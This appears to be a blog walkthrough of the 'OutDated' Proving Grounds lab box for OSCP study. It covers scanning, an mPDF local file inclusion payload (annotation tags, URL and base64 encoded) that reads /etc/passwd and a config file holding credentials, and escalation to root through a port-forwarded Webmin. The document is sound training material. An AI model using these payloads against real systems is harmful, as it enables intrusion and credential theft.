OutDated | Proving Grounds | Walkthrough
Box: OutDated Community Rating: Hard
OutDated | Proving Grounds | Walkthrough

I left my computer on over night …… but I’d say this took around 3–4 hours.
Box: OutDated Community Rating: Hard
I am currently preparing for the OSCP and I am working through the notorious Lain list. Also, I’m going through Proving Grounds boxes outside of the list to familiarize myself with the methodology.
Firstly, start off with a nmap scan of the target:
┌──(venv)─(root㉿user)-[/run/…/2024/HTBox/tools/linuxprivesc]
└─# nmap -p- -Pn $target -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap.txt && nmap -Pn $target -sVC -v && nmap $target -v --script vuln
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-04 13:23 BST
Initiating Parallel DNS resolution of 1 host. at 13:23
Completed Parallel DNS resolution of 1 host. at 13:23, 0.01s elapsed
Initiating SYN Stealth Scan at 13:23
Scanning 192.168.227.232 [65535 ports]
Discovered open port 22/tcp on 192.168.227.232
Discovered open port 80/tcp on 192.168.227.232
Completed SYN Stealth Scan at 13:23, 9.53s elapsed (65535 total ports)
Nmap scan report for 192.168.227.232
Host is up (0.025s latency).
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
Raw packets sent: 65957 (2.902MB) | Rcvd: 65858 (2.635MB)
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-04 13:23 BST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:23
Completed Parallel DNS resolution of 1 host. at 13:23, 0.02s elapsed
Initiating SYN Stealth Scan at 13:23
Scanning 192.168.227.232 [1000 ports]
Discovered open port 22/tcp on 192.168.227.232
Discovered open port 80/tcp on 192.168.227.232
Completed SYN Stealth Scan at 13:23, 1.43s elapsed (1000 total ports)
Initiating Service scan at 13:23
Scanning 2 services on 192.168.227.232
Completed Service scan at 13:23, 6.10s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.227.232.
Initiating NSE at 13:23
Completed NSE at 13:23, 0.79s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.09s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Nmap scan report for 192.168.227.232
Host is up (0.023s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Convert HTML to PDF Online
10000/tcp filtered snet-sensor-mgmt
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.09 seconds
Raw packets sent: 1001 (44.044KB) | Rcvd: 1002 (40.232KB)
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-04 13:23 BST
NSE: Loaded 105 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:23
Completed NSE at 13:23, 10.01s elapsed
Initiating NSE at 13:23
Completed NSE at 13:23, 0.00s elapsed
Initiating Ping Scan at 13:23
Scanning 192.168.227.232 [4 ports]
Completed Ping Scan at 13:23, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:23
Completed Parallel DNS resolution of 1 host. at 13:23, 0.02s elapsed
Initiating SYN Stealth Scan at 13:23
Scanning 192.168.227.232 [1000 ports]
Discovered open port 80/tcp on 192.168.227.232
Discovered open port 22/tcp on 192.168.227.232
Completed SYN Stealth Scan at 13:23, 1.45s elapsed (1000 total ports)
NSE: Script scanning 192.168.227.232.
Initiating NSE at 13:23
Completed NSE at 13:24, 20.88s elapsed
Initiating NSE at 13:24
Completed NSE at 13:24, 0.11s elapsed
Nmap scan report for 192.168.227.232
Host is up (0.021s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.227.232
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.227.232:80/
| Form id:
| Form action: /index.php
|
| Path: http://192.168.227.232:80/index.php
| Form id:
|_ Form action: /index.php
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_ /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
10000/tcp filtered snet-sensor-mgmt
NSE: Script Post-scanning.
Initiating NSE at 13:24
Completed NSE at 13:24, 0.00s elapsed
Initiating NSE at 13:24
Completed NSE at 13:24, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 32.87 seconds
Raw packets sent: 1005 (44.196KB) | Rcvd: 1003 (40.260KB)
The scan I use is basically the same on every box I do regardless of the difficulty. Thus far, the syntax above has only failed me a handful of times. Not to say it’s foolproof but for the purposes of CTFs it has been quite reliable.
Port 80
Before I check the page I immediately run dirsearch against it to check the directory structure of the target:
┌──(venv)─(root㉿user)-[/home/user/Downloads/dirsearch]
└─# python3 dirsearch.py -u http://192.168.227.232 -x 403,404,400,500,302,301
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET
Threads: 25 | Wordlist size: 12295
Target: http://192.168.227.232/
[13:25:43] Scanning:
[13:25:54] 200 - 174B - /composer.json
[13:25:54] 200 - 2KB - /composer.lock
[13:25:54] 200 - 945B - /config/
[13:25:58] 200 - 856B - /index.php
[13:25:58] 200 - 856B - /index.php/login/
[13:26:05] 200 - 0B - /vendor/autoload.php
[13:26:05] 200 - 1KB - /vendor/
[13:26:05] 200 - 0B - /vendor/composer/autoload_static.php
[13:26:05] 200 - 0B - /vendor/composer/autoload_real.php
[13:26:05] 200 - 0B - /vendor/composer/autoload_namespaces.php
[13:26:05] 200 - 0B - /vendor/composer/autoload_classmap.php
[13:26:05] 200 - 1KB - /vendor/composer/LICENSE
[13:26:05] 200 - 0B - /vendor/composer/autoload_psr4.php
[13:26:05] 200 - 2KB - /vendor/composer/installed.json
[13:26:05] 200 - 0B - /vendor/composer/ClassLoader.php
Task Completed

The site confirms that we have a HTML to PDF online utility that will parse our input into PDF format. I have done a number of HackTheBox CTFs where you use this technique as your entry vector: in essence you are abusing PDF library functions to obtain code execution on the target.
The next port of call is to work out what PDF generation library is being used by the target. I did this via manually enumerating the directory structure we found:

A quick google search reveals that mPDF is a PHP library which generates PDF files from UTF-8 encoded HTML. It is based on FPDF and HTML2FPDF. This is version 6 of the software.
I used searchsploit and discovered we have a Local File Inclusion vulnerability that impacts version 7 (so likely it impacts us too).
┌──(venv)─(root㉿user)-[/home/user/Downloads/dirsearch]
└─# searchsploit 'mpdf'
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
<SNIP>
mPDF 5.3 - File Disclosure | php/webapps/18248.pl
mPDF 7.0 - Local File Inclusion | php/webapps/50995.py
Whilst researching this I also came across this Medium Article — link. It was very informative but definitely led me down a rabbit hole in terms of trying to chain the exploit itself into RCE.
I am learning that when you have a file read vulnerability with Offsec: you want to target service specific configuration files for EVERY identified service AND any interesting directory files you may have uncovered.
If we go back to our fuzzing results from dirsearch we can see that there is a listing for config.php (that we can’t access publicly).

Lets see if we can use the LFI exploit from above to access a file:
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/outdated]
└─# python3 50995.py
/run/media/user/2024/HTBox/outdated/exp.py:23: SyntaxWarning: invalid escape sequence '\|'
| __ \| __ \| ____| |____ / _ \ \ \ / / | | (_) |
_____ _____ ______ ______ ___ __ __ _ _ _
| __ \| __ \| ____| |____ / _ \ \ \ / / | | (_) |
_ __ ___ | |__) | | | | |__ / / | | | \ V / _____ ___ __ | | ___ _| |_
| '_ ` _ \| ___/| | | | __| / /| | | | > < / _ \ \/ / '_ \| |/ _ \| | __|
| | | | | | | | |__| | | / / | |_| | / . \ | __/> <| |_) | | (_) | | |_
|_| |_| |_|_| |_____/|_| /_/ (_)___(_)_/ \_\ \___/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
Enter Filename eg. /etc/passwd
File >> /etc/passwd
[+] Replace the content with the payload below
Url encoded payload:
%3Cannotation%20file%3D%22/etc/passwd%22%20content%3D%22/etc/passwd%22%20icon%3D%22Graph%22%20title%3D%22Attached%20File%3A%20/etc/passwd%22%20pos-x%3D%22195%22%20/%3E
Base64 encoded payload:
JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGNvbnRlbnQlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL2V0Yy9wYXNzd2QlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0U=
This trick exploits an XML vulnerability where the web application or parsing tool improperly processes a custom <annotation> XML tag. By setting the file and content attributes to a sensitive system path like /etc/passwd, we force the application to read and display the contents of the file.
I chose the URL encoded payload > decoded it into burpsuite before pasting it into the HTML to PDF page:



Double click the paper clip and you should now have a document containing the output of /etc/passwd

This confirms that we can read server files and that we have two users: svc-account and root.
Next target is /config.php
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/outdated]
└─# python3 exp.py
/run/media/user/2024/HTBox/outdated/exp.py:23: SyntaxWarning: invalid escape sequence '\|'
| __ \| __ \| ____| |____ / _ \ \ \ / / | | (_) |
_____ _____ ______ ______ ___ __ __ _ _ _
| __ \| __ \| ____| |____ / _ \ \ \ / / | | (_) |
_ __ ___ | |__) | | | | |__ / / | | | \ V / _____ ___ __ | | ___ _| |_
| '_ ` _ \| ___/| | | | __| / /| | | | > < / _ \ \/ / '_ \| |/ _ \| | __|
| | | | | | | | |__| | | / / | |_| | / . \ | __/> <| |_) | | (_) | | |_
|_| |_| |_|_| |_____/|_| /_/ (_)___(_)_/ \_\ \___/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
Enter Filename eg. /etc/passwd
File >> /config/config.php
[+] Replace the content with the payload below
Url encoded payload:
%3Cannotation%20file%3D%22/config/config.php%22%20content%3D%22/config/config.php%22%20icon%3D%22Graph%22%20title%3D%22Attached%20File%3A%20/config/config.php%22%20pos-x%3D%22195%22%20/%3E
Base64 encoded payload:
JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvY29uZmlnL2NvbmZpZy5waHAlMjIlMjBjb250ZW50JTNEJTIyL2NvbmZpZy9jb25maWcucGhwJTIyJTIwaWNvbiUzRCUyMkdyYXBoJTIyJTIwdGl0bGUlM0QlMjJBdHRhY2hlZCUyMEZpbGUlM0ElMjAvY29uZmlnL2NvbmZpZy5waHAlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0U=
This is where we hit a snag in the syntax. As it won’t load the file if we use the URL decoded payload.

This is because the leading slash (/config/...) specifies an absolute path, telling the system to look in the root directory of the entire server (where the file doesn't exist).
The following payload is successful because we omit the absolute path at the beginning of the listing; which creates a relative path so we look for the folder starting from our current working directory.
<annotation file="config/config.php" content="config/config.php" icon="Graph" title="Attached File: config/config.php" pos-x="195" />
Follow the same steps outlined above and you will be able to download the config file and see that we have the plain text credentials for svc-account.

Privilege Escalation
Once logged in via SSH using the above credentials; you will note that there is no lateral movement other than direct escalation to root as we only have these two users with shells on the target.
I ran linpeas and quickly found that there weren’t many avenues on the target SSH session for privilege Escalation; this led me to examining the services / ports.
Webmin is discovered on the directory listings for the target all throughout the scan result. It is a web-based interface for Unix and Linux system administration that allows you to manage users, disk quotas, services, and configuration files. A further google search revealed:

A quick check of the active ports on the target we can see that 1000 is hosting this service:
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (ss)
tcp LISTEN 0 4096 0.0.0.0:10000 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
In order for us to make webmin accessible; we can use SSH to forward the local port (10000) back to ourselves.
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/outdated]
└─# ssh -L 10000:127.0.0.1:10000 svc-account@192.168.227.232
You should now be able to access the webmin login page (make sure to use https)

Always reuse credentials on other services and here — we can login using the same username/password as we did for ssh using svc-account.
I got fairly luck with this as before I even checked the version etc; I was perusing the interface and found the Change Passwords tab.

I simply changed the password for root and switched into a shell directly via our ssh session.
svc-account@outdated:/usr/share/webmin$ su root
Password:
root@outdated:/usr/share/webmin# id
uid=0(root) gid=0(root) groups=0(root) 메타데이터
- post_id
- c062fc37ff0b
- slug
- outdated-proving-grounds-walkthrough-c062fc37ff0b
- url
- https://medium.com/@SilentExploit/outdated-proving-grounds-walkthrough-c062fc37ff0b
- canonical_url
- https://medium.com/@SilentExploit/outdated-proving-grounds-walkthrough-c062fc37ff0b
- author_url
- https://medium.com/@SilentExploit
- status
- ok
- fetched_at
- 2026-06-09 15:37:30